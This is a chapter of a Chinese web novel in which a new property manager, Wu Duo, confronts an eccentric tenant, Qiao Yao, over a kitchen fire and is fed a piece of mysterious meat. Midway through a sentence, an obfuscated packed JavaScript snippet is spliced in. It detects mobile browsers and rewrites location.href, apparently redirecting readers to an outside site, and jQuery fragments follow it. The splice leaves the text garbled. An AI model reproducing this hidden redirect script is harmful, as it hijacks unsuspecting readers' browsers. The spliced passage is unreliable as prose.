乌朵觉得一股火气从心口上涌,额头上的血管都一跳一跳。
平心而论,乔耀这手字写得是真的不错,放进书法比赛里绝对能夺得头筹,但无奈内容实在是气人。
她看完纸条上的内容后,拍桌而起,缩在办公室角落的安涂涂被吓得浑身一抖。
乌朵在余光中注意到了安涂涂的颤抖,心中生出点愧疚,“不好意思啊。”
安涂涂似乎没想到她会因为这种小事专门向自己道歉,摇摇头小声道,“没关系,是我自己胆小。”
“我得去教教他做人了。”乌朵把手指捏得咔咔作响,气势汹汹地走到了门口,接着猛然停步。
安涂涂小声问道,“怎么了?”
“我没记住路,”乌朵有点不好意思,“你能给我带个路吗?”
安涂涂立刻答应,并且想了想,从仓库拖出一个比三轮车还莫名其妙的交通工具——一个板车。
乌朵觉得奇怪,“拿它干嘛?”
“太远了,我拉您去。”
乌朵看看她这小胳膊小腿,觉得听到了天方夜谭,“别了吧。”让她拉自己,好像办公室霸凌一样。
“我力气比您大的。”
乌朵并不相信。
接着,安涂涂左看右看,似乎是为了证明自己,忽然一只手把至少几十斤重的板车整个悬空拎起来了。
乌朵:“……”这算什么?人不可貌相?
抓上自己的包坐上板车时她仍然神思恍惚,好半天才道,“你累吗?换我拉会?”
安涂涂便笑起来,笑声也是小小的,内容真诚,但多少有点伤人自尊,“您拉不动的。”
乌朵真的试了一下,试完之后便默默地坐回了板车上。
安涂涂的力量和速度似乎都与她娇小可爱的外形成反比,没多久便把乌朵带到了那栋居民楼前。
但乌朵打开单元门进去时,却发现她并不肯跟自己一起上楼,只站在原地道,“您去吧,我在楼下等您。”
乌朵不由自主想起刚才神秘消失的李奶奶,觉得名叫乔耀的这个男人身上一定有些古怪,她遇见的三个人里已经有两个明显表现出了对他的回避了。
乌朵不是那种爱强迫别人的领导,也没有非要安涂涂和自己一起上去,想了想,从包里掏出了一瓶自己早上出发时塞进去的饮料递给了她,“辛苦啦。”
安涂涂有点惊讶,又翻来覆去地打量这瓶非常常见的可乐,仿佛对它视若珍宝一般用双手抱在怀中,“谢谢您。”
告别了她,乌朵便雄赳赳气昂昂地直奔乔耀的家门口。
乔耀就像提前预见到了她的到来一样,乌朵的手刚刚抬起,他便忽然把门打开,搞得拳头悬在半空没敲下去的乌朵多少有些尴尬。
屋中并没有传来先前那样炽热的温度,乌朵没有先对他问责,而是掏出了包里的第二瓶可乐塞到了乔耀手中。
乔耀非常迷惑,翻来覆去地转着这个盛着不明液体的脆弱塑料瓶,“这什么?”
乌朵更觉得他有点毛病了,今天她见了他两次,他两次都在装疯卖傻。
乌朵本来要平心静气地同他说话,毕竟她现在的工作就是物业,乔耀是她客户。
而且之前虽然并非有意,她也确实弄脏了乔耀家的地板,这瓶可乐满算是赔礼。
她懒得和他多说,挤进门去,“毒药!”
乔耀却把瓶子凑近自己的鼻子,闻了一下就知道她在胡说八道,他还觉得这味道颇为好闻呢。
他认为这是一份礼物,而他很少收到礼物,心中欣喜不已,明明几个小时前刚接到师父的传音时还对小区里来了个人类十分不满,这时却感到心花怒放。
只是他一心花怒放,乌朵便感到屋里的温度急速上升,顿时一惊,连忙冲到他家的厨房中去。
结果厨房里确实开着火,火焰的范围与体积却非常正常,只是锅里的食材却多得惊人,枕头大的锅里装满了烤的流油、散发出源源不断香气的肉。
乌朵不怎么会做饭,扫了一眼并没看出这是什么肉,只把它归结于有钱人买的稀罕玩意,也没去深思。
她已经猜到乔耀在诈她,却仍然有点生气,问道,“你不是威胁我说你要放火?”
乔耀一指锅底的那点小火苗,无辜道,“放了呀。”
他的语气前所未有的温和,然而被陌生而古怪的新环境搞得心情烦躁的乌朵全然未觉,一言不发地就要从他家离开。
乔耀却一把拉住了她的胳膊不让她走,被她瞪了一眼才悻悻地松了手,问道,“之前你是怎么把我的火熄灭的?”
乔耀看起来怎么也不像未成年,身材和长相也都非常优越,听到了他的问题后的乌朵便更觉匪夷所思,“你没学过化学?”
她记得这是她初中学过的内容。想要灭火通常是两种思路,一是用水浇,二是隔绝空气。
涉及到燃气和电,用水浇反而会产生更可怕的危险,那就只能用锅盖隔离火焰燃烧必备的空气了。
哪怕不会实操,一般学过一点浅显化学的人总能想明白其中道理。
接着,乔耀就问出了他这个年纪不该问出来的新的白痴问题,“化学是什么?”
乌朵忍了又忍,终于脱口而出,“你是九漏鱼吗?”
谁知乔耀听了出奇愤怒,“你居然说我是鱼?那种恶心的东西,比龙还要恶心!”
乌朵:“……”
这个词对他最大的打击居然是鱼吗?
所谓话不投机半句多,乌朵只想回到办公室里瘫坐满剩下的漫长的半天,结果愤怒的乔耀仍然不让她走,“你还没告诉我,你到底是怎么灭我的火的。”
“我不想说。”
“你告诉我我就再也不因为做饭放那么大的火了。”
这倒是乌朵想听的,她便耐下性子和对化学毫无概念的乔耀解释了半天。
乔耀听得似懂非懂,念叨道,“我就说呢,那下回我把锅盖扔了就好了。”
“……那请问你以后再也不做需要水煮的菜了吗?”乌朵忍不住道。
乔耀呆了一呆。
“你没事了吧?”和他在短短的一天之内发生了两次长对话,乌朵只觉身心俱疲,“你没事的话我要走了。”
“等等!”乔耀依然拦她,只是见她凉嗖嗖的眼神刺了过来,审时度势地放下了自己的手,只用言语作为挽留她的工具,“是谁举报了我?”
乌朵想了想李奶奶那佝偻的脊背、苍苍的白发,又看了看眼前这个仍然袒露着优秀腹肌的家伙,非常具有职业道德地回答道,“没人举报你。”
“不可能!”乔耀斩钉截铁。
正当乌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179599|180886||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朵以为他发现了什么蛛丝马迹之时,乔耀下一句话却说出了自己得出这个结论的理由,“以前每次想做顿好的我都会受到骚扰!这次一定也是!”
要不您反思下您的人缘呢?乌朵只能在心里说这句话,嘴上却道,“是我巡查的时候发现的,确实没人举报。”
“你?巡查?你在小区里走上一圈都得累趴吧。”乔耀上下打量她,嗤笑出声。
坐着板车来的乌朵被他无情地揭开了亚健康的面具,面无表情道,“我真的要走了。”
“不许走,快告诉我是谁!”乔耀非常执着,“以前那群家伙只会搞阴的,这次可算让我找到活的线索了。”
活线索本索拒绝和他说话,他急得团团转,最后盯着乌朵已经擦干了的鞋,就像忽然想起来了什么重大的线索一般猛地一拍椅背,“有水,一定是龙青那个可恶的家伙。”
乌朵不知道这个代李奶奶受过的龙青是谁,也没想直接反驳乔耀,只打算一会儿出门时向安涂涂打听一下。
如果这位龙青也是个一看就很能打的男人,那就悄悄提醒他一下,总比李奶奶被整顿了强得多。如果不是,那就另想办法。
乌朵这回要走,自认为得到了问题的答案的乔耀没有再拦她。
只是自以为得到了一份珍贵礼物的乔耀难得察言观色了一次,发觉了她的不愉快。
于是乔耀拿出一双新筷子去锅里夹出了一块肉,接着在楼梯口追上了乌朵,在她没反应过来之前迅速地把这块肉塞到了她嘴里。
乌朵猝不及防,她的第一反应当然是要把它吐了,但这块肉却奇香无比,甚至还入口即化,她一个恍神之间,就把它彻底吃下去了。
因为它实在是太香了,她应该很是生气,却又有点生不起气来,站在原地和乔耀大眼瞪大眼时还忍不住回味了一下。
乔耀却很得意,“扯平了。我不欠你了。”
乌朵也不知道他是从哪论的,在自己控制不住想冲回他家厨房再夹一块吃之前,连下几个台阶。
成功脱离了那香气后,乌朵义正言辞道,“作为物业,我还是要提醒你一下。要注意用火安全,妖维持邻里和谐。”
乔耀不置可否,但也没出言反驳。
她便又补充道,“作为一个莫名其妙吃了一口肉的人,我要提醒你的是以后不要再这么做了。”
乔耀道,“不会的,他们只会让我心烦,这么好吃的东西我才不给他们。”
他说得十分认真,结合他的种种反常识的表现,乌朵忍不住旁敲侧击问道,“你总是自己住吗?”
乔耀眼中闪过一抹黯然,却嘴硬道,“我就爱自己住。”
乌朵猜想他可能从小妈妈爸爸都不在身边,估计学也没有上完,才养成这么个奇怪的、仍然保有几分赤子之心的性格。
她心头的火气渐渐消了,好言好语地嘱咐他道,“今天你遇到的是我,如果也这样随便塞给别人吃的,遇上不怀好意的人大可以顺势讹你。”
乔耀知道她提到的情况绝不会出现,但听得出来她说这话的出发点是为自己好,于是低头道,“哦。”
“那我走了?”
“嗯。”
门被关上,他怔怔地瞧着她离开的方向,不知想了些什么,久久地站在那里,连锅里来源很是珍稀的肉都忘了去吃。